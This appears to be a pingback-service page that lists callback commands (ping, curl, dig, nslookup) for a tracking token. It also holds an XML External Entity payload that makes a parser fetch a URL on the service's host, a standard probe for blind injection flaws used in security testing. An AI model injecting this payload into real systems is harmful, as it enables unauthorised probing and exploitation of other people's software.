$ ping -c1 -p 00b5f805b7af2a8a56f56ae51a1f4d00 pingb.in
 
$ curl pingb.in/p/b5f805b7af2a8a56f56ae51a1f4d
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/b5f805b7af2a8a56f56ae51a1f4d">]>
    <foo>&xxe;</foo>
 
$ dig b5f805b7af2a8a56f56ae51a1f4d @pingb.in
 
C:\> nslookup b5f805b7af2a8a56f56ae51a1f4d pingb.in
 
Waiting for ping...